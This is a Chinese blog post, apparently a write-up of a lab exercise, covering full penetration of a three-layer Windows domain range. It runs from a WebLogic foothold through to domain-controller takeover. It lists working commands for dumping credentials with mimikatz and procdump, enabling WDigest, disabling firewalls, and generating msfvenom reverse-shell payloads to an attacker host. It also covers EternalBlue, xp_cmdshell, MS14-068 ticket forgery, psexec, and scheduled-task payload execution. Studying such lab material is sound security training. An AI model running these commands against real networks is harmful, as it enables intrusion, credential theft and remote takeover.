一次三层域环境靶场内网渗透

这篇文章的目的在于熟悉各种内网中的利用方法,不局限于某一种方法达成目的。

靶场地址:

链接:https://pan.baidu.com/s/18p_iFMgEhd_v1I9pr3X5cQ?pwd=1212
提取码:1212
--来自百度网盘超级会员V1的分享

靶场环境介绍

域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务  (10.10.10.8) 仅主机
目录还原密码:redteam!@#45
主机名:owa
域管理员:administrator:Admin12345


域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派)  (10.10.10.18) 仅主机
主机名:sqlserver-2008
本地管理员:Administrator:Admin12345
域账户:redteam\sqlserver:Server12345 (被配置了约束委派)
Mssql:sa:sa


域内个人 PC:Windows 7  (10.10.10.7、10.10.20.7) 双网卡,仅主机
主机名:work-7
本地管理员:john:admin!@#45
域账户:redteam\saul:admin!@#45

单机服务器:Windows server r2 + weblogic   (NAT:192.168.88.136、仅主机:10.10.20.12) DMZ区
主机名:weblogic
本地管理员:Administrator:Admin12345
weblogic :weblogic:weblogic123(访问 http://ip:7001)
weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)

前置知识

域环境下常见用户身份

  • Domain Admin:域管理员(默认对域控制器有完全控制权)
  • Domain Computers:域内机器(就是在域环境内的主机)
  • Domain Controllers:域控制器(AD,内网渗透就为了拿下它)
  • Domain Users:域用户

主要针对Domain Admins/Enterprise Admins 相关⽤户收集操作命令:

net localgroup  #查看本地用户组
net user  #查看本地用户
whoami /all ⽤户权限
net config workstation #查看登录信息
net group /domain  #获取域用户组信息
net user /domain #查看域用户信息
wmic useraccount get /all    #涉及域用户详细信息
net group "Domain Admins" /domain     #查询域管理员账户
net group "Enterprise Admins" /domain      #查询管理员用户组
net group "Domain Controllers" /domain      #查询域控制器

域横向传递扩散

  • at&schtasks扩散(通过135、445端口)
  • SMB协议扩散 (通过445端口)
  • WMI(windows management instrumentation)协议扩散 (通过135端口)
  • PTH、PTT、PTK哈希票据传递
  • RDP横向

域内提权

  • MS14-068

信息收集(外网渗透测试信息收集阶段)

nmap -T4 -p- -Pn -A -v 192.168.88.136  

发现开放了7001端口weblogic服务,且为管理后台为默认路径,在端口后加上/console/自动跳转

漏洞探测&漏洞利用

使用GUI漏洞利用工具进行漏洞检测,发现存在漏洞,当前用户为weblogic\administrator

获取当前路径:

echo %cd%

右键F12随便查看一张图片的路径
接下来只要找到该图片所在路径就能间接找出网站根目录:

dir C:\ /s /b | find "login_WebLogic_branding.png"

image

成功找到图片路径:

C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png

接下来在该目录下上传马子即可:

image

冰蝎连接
image

还可以使用WeblogicExploit-GUI by sp4z的工具,支持直接注入冰蝎、蚁剑内存码,且有返回路径的,成功注入内存码上线.

内网横向

拿下了DMZ区域的机器后,除了权限维持和权限提升,对于横向渗透通常分为两个方面

  • 判断机器是否为多网卡机器,然后扫描其他网段,尝试发现更多存在漏洞的机器
  • 尽量收集机器上的敏感信息,比如敏感内部文件、账号密码本等,帮助后面快速突破防线

由于拿下的机器已经是administrator权限,所以可以直接进行信息收集

信息收集(weblogic服务器)

是否为杀软环境

先查看一下进程里面是否存在杀软,未发现杀毒软件
提供两个杀软检测平台地址:
https://i.hacking8.com/tiquan
http://bypass.tidesec.com/bycms

网络信息收集网络信息收集

发现该服务器为双网卡,除了对外的192.168.88.0/24网段外,还有内网10.10.20.0/24网段

判断是否为域环境

常见的判断是否存在域环境的方法有:

  • ipconfig /all #根据主DNS后缀判断是否存在域环境

  • net view /domain #判断是否存在域,若存在回显域名信息

  • net time /domain #判断主域,一般情况下,域内主机时间与域控进行同步

经过验证发现当前服务器并不存在域环境

密码信息收集

因为要进行横向扩散,考虑使用密码喷洒,因此需抓取本地密码,为了方面直接上线cs进行操作,上传cs木马

方法一:抓取hash

注:hash为单向不可逆加密,只能通过彩虹表碰撞,可能无法解密,有点碰运气的成分

获取到hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

尝试将hash进行解密,解密网站:

成功获取当前服务器administrator密码为Admin12345

方法二:利用mimikatz获取明文密码

windows系统密码hash加密算法(LM Hash 和NTLM Hash加密算法)
个人系统在windows vista之后,服务器系统在Windows 2003之后均使用NTLM Hash(大部分情况都是NTLM hash)

NTML hash也能解出密码来,但这种方法好处是在遇到没法解密的情况下可以利用NTML hash进行横向传递

使用mimikatz抓取密码注意事项:
1、windows2012以上版本默认关闭wdigest,导致攻击者无法从内存中获取明文密码
2、windows2012以下版本如果安装了KB2871997补丁,同样会导致无法获取明文密码
解决措施:
利用注册表操作开启Wdigest Auth 值进行获取,修改注册表,打开wdiget

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

cs自带了mimikatz功能,在becon输入

logonpasswords

Procdump+mimikatz结合获取密码
优点:仅上传procdump到受害服务器抓取密码dmp文件,在本机使用mimikatz对dmp文件进行还原。由于该文件是微软自带,不用做免杀(遇到有杀软可以采用)
procdump下载链接:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump -accepteula -ma lsass.exe lsass.dmp   #使用procdump导出密码hash文件
mimikatz#  privilege::debug
mimikatz#  sekurlsa::minidump lsass.dmp   #载入dmp
mimikatz#  sekurlsa::logonpasswords full   #读取密码

登录服务器远程桌面

开启/关闭远程桌面:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1     #开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0    #关闭远程桌面

查看当前主机系统防火墙开启或关闭

netsh firewall show config   #查看防火墙状态

直接关闭防火墙(容易被发现)

netsh advfirewall set allprofiles state off

放行从本地 3389 端口进来/出去的流量(入站/出站规则)

netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow   #入站规则
netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=out localport=3389 action=allow   #出站规则

启用远程桌面进行连接

rdesktop -u Administrator -p Admin12345 192.168.88.136:3389

fscan内网扫描

上传内网大杀器fscan进行扫描(遇到有杀软需要做免杀)

shell fscan.exe -h 10.10.20.1/24

扫描结果显示存在一台10.10.20.7的win7主机,且存在MS17-010永恒之蓝漏洞

会话传递

这里给出互相转发会话的步骤:

1、将CS会话转发至MSF上

MSF创建监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http  //这个payload要跟CS设置的一致
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.88.130
lhost => 192.168.88.130
msf6 exploit(multi/handler) > set lport 4444 端口需要与cs监听器端口保持一致,因为cs的后门是反弹的4444端口
lport => 4444
msf6 exploit(multi/handler) > run

CS建立一个监听器,CS的监听器分为两种类型:beacon和foreign。

  • beacon为CS内置监听器,当我们在目标系统执行payload,会弹回一个beacon的shell给CS
  • foreign主要是提供给外部使用的一些监听器,比如想要利用CS派生一个meterpreter的shell,来进行后续的内网渗透,这时就应该使用外部监听器

CS becon中执行spawn进行转发

2、MSF转发会话至CS

查看当前会话id

sessions -l

CS创建监听器

使用exploit/windows/local/payload_inject模块转发会话

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.88.130 //cs主机地址
set LPORT 6666 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler

成功接收会话

但是为了shell的稳定性,我这里还是生成了一个msf木马上传进行操作

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f exe -o test.exe

将test.exe通过冰蝎或cs进行上传,执行上线

成功接收会话

内网代理

当到达内网某个网段时,该网段被控机器不直接通外网,我们的攻击机无法直接访问,我们就需要借助内网可出网机器构建多层代理。

内网代理(1)

上传第三方代理工具进行代理,如frp、ngrok、natapp等第三方工具

使用frp进行内网代理

内网frp进行多层代理可以参考这篇文章

frps:

[common]
bind_addr = 0.0.0.0  # 服务端监听地址
bind_port = 7000 # 服务端监听端口,默认7000

frpc:

[common]
server_addr = 192.168.88.130 # 连接的服务器IP地址
server_port = 7000 # 连接的服务器端口

[plugin_socks5]
type = tcp # 连接类型为tcp
local_ip = 10.10.20.12 # 本地ip
local_port = 8888 # 本地监听端口
remote_port = 1080 # 远程服务器端口
use_encryption = true #启⽤加密
plugin = socks5  # 使⽤插件socks5代理

运行方法

服务端启动进行监听
frps.exe -c frps.ini 
客户端启动
frpc.exe -c frpc.ini

访问192.168.88.130:1080端口等同于访问10.10.20.12:8888

内网代理(2)

使用MSF的socks5模块进行代理

添加路由

由于攻击机无法直接访问10.10.20.1/24网段,因此通过weblogic服务器添加路由进行访问。这样相当于在受害主机1上做了条直通路由,使得攻击机可以访问原本访问不了的10.10.20.0/24网段

注:在meterpreter中存在路由即可访问目标网段,但目标网段无法向外访问kali

run get_local_subnets  # 查看目标网络中的路由信息
run autoroute -s 10.10.20.0/24   # 往session里面添加目标网段的路由10.10.20.0/24
run autoroute -p  # 查看添加的路由,查看session中的路由是否添加成功 

将会话在后台挂起

background

使用socks5代理模块进行代理

msf5 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > exploit 
[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server

Linux系统连接代理

编辑/etc/proxychains4.conf,添加socks5代理

socks5 192.168.88.130 1080

使用方法:

proxychains4 nmap -T4 -p- 10.10.20.1/24

常见故障:
配合 proxychains4 nmap 扫描对方内网的时候出现:

image

解决方法:

vim /etc/proxychains4.conf

将proxy_dns注释掉即可

image

windows系统连接代理

windows建议使用 SocksCap64 Proxifier配置代理/代理链

使用Proxifier配置代理服务器,代理端口

默认所有程序都走代理,可以通过配置代理规则,让指定的程序走代理

利用MS17-010横向win7主机

使用ms17-010漏洞检测模块进一步验证是否存在漏洞,以及网络是否能访问到目标主机

msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use 3  //ms17-010漏洞检测模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.20.7
rhosts => 10.10.20.7
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

利用ms17-010攻击模块进行攻击

msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use 0  #ms17-010漏洞利用模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.20.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 5555(4444端口已经使用了,注意不要冲突)
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

关于这里为什么要使用正向的payload。

  • 假如我们使用的是反向的payload,那么win7就要去寻找我们kali的路由,但是win7主机中没有kali的路由,那么就会导致我们的反弹shell失败。

  • 我们使用一个正向的payload,我们的kali攻击机就会去主动寻找win7的服务器,这个时候我们因为在session1(weblogic会话)上做了一条路由,因为session1中是存在20网段中的路由的,我们的流量会通过session1上的路由连接至win7,所以我们可以正常进行连接。

成功获取10.10.20.7 win7主机会话

当前用户权限为系统权限

至此,通过ms17-010成功拿下win7主机

信息收集(域内win7)

继续进行信息收集

shell  #进行cmd
chcp 65001   #改编码
ipconfig /all

发现当前主机为域内主机
域名为:redteam.red
获取域控IP

ping redteam.red   
nslookup redteam.red

获得域控IP: 10.10.10.8

双网卡:网卡1:10.10.20.7(已知信息),网卡2:10.10.10.7(新的网段)
继续添加路由

run get_local_subnets  # 查看目标网络中的路由信息
run autoroute -s 10.10.10.0/24   # 往session里面添加目标网段的路由10.10.20.0/24
run autoroute -p  # 查看添加的路由,查看session中的路由是否添加成功 

查看当前域用户信息

net user /domain

查看域管理员账户和域控制器

net group "Domain Admins" /domain
net group "Domain Controllers" /domain 

可知域管理员账户为:Administrator,域控制器Host Name=owa.redteam.red

抓取本地密码

load kiwi  #加载mimikatz
creds_all:             #列举所有凭据

获得域成员账号:saul 密码:admin!@#45

上传fscan继续横向扩撒

fscan.exe -np -h 10.10.10.1/24    #-np = no ping

发现存在主机10.10.10.18,且sqlserver 数据库账户密码为sa:sa
通过代理进行连接

使用xp_cmdshell进行提权

#启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

#调用xp_cmdshell执行系统权限
EXEC master..xp_cmdshell 'whoami';

至此,又成功拿下sqlserver服务器系统权限

信息收集(sqlserver)

EXEC master..xp_cmdshell 'ipconfig /all';

上传正向木马(方法不唯一)
...
...
略

发现当前服务器为域内主机,开启3389进行远程连接

netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow  #开启3389端口

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1     #开启远程桌面

ms14-068漏洞提权域控

域内普通用户直接获取域控system权限,漏洞利用条件:

  • 域控没有打MS14-068的补丁(KB3011780)
  • 拿下一台域内计算机
  • 拥有这台域内计算机的域用户密码和Sid

漏洞原理:

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会受到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。

如果攻击者获取了域内一台计算机的 shell 权限,同时知道该域用户的用户名、SID、密码,如果存在该漏洞即可获取域管理员权限。

在kerberos 协议中 ——> Kerberos 认证,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。ms14-068 漏洞就是 经过身份验证的Client在TGT中伪造高权限的PAC。该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。
漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法,以及PAC的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生。

利用方法:

1、上传mimikatz,运行抓取账户密码和sid,一条命令运行如下

meterpreter#upload /home/mimikatz.exe C:\\mimikatz.exe    #上传mimikatz.exe到域内主机
meterpreter#upload /home/ms14-068.exe C:\\ms14-068.exe    #上传ms14-068.exe到域内主机
shell  #进入cmd
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit 
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit >1.txt
systeminfo   #查看有无打补丁
whoami /user #查看当前用户SID

2、利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

 ms-14-068.exe -u  域用户@域名  -p 域用户密码 -s 域用户sid -d 域控ip/IP
 ms-14-068.exe -u sqlserver@redteam.red -p Server12345 -s S-1-5-21-13590078990-1682372173-163803504-1126 -d 10.10.10.8

会在当前目录下生成证书:TGT_sqlserver@redteam.red.ccache

3、使用mimikatz导入生成的ccache文件,导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。

kerberos::purge
kerberos::ptc 证书名字

4、上传使用PsExec.exe以管理员权限运行连接域控

psexec64.exe \\域控ip cmd.exe -accepteula
psexec64.exe \\10.10.10.8 cmd.exe -accepteula

5、复制木马文件到域控

copy shell.exe \\owa.redteam.red\c$

6、利用计划任务进行上线
使用at命令添加计划任务(at命令适用于操作系统 < windows 2012)

at \\owa.redteam.red\c$ 22:10 c:\\shell.exe     #设置22:10执行shell.exe

使用schtask添加计划任务(schtask命令适用于操作系统 >= Winidows 2012)

schtasks /create /s 192.168.xx.xx /ru "SYSTEM" /tn adduser /sc DALLY /tr c:attack.bat /F   #创建adduser任务对应执行的文件
schtasks /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务

至此,成功拿下域控

posted @ 2023-03-04 16:32  小阿辉谈安全  阅读(789)  评论(0编辑  收藏  举报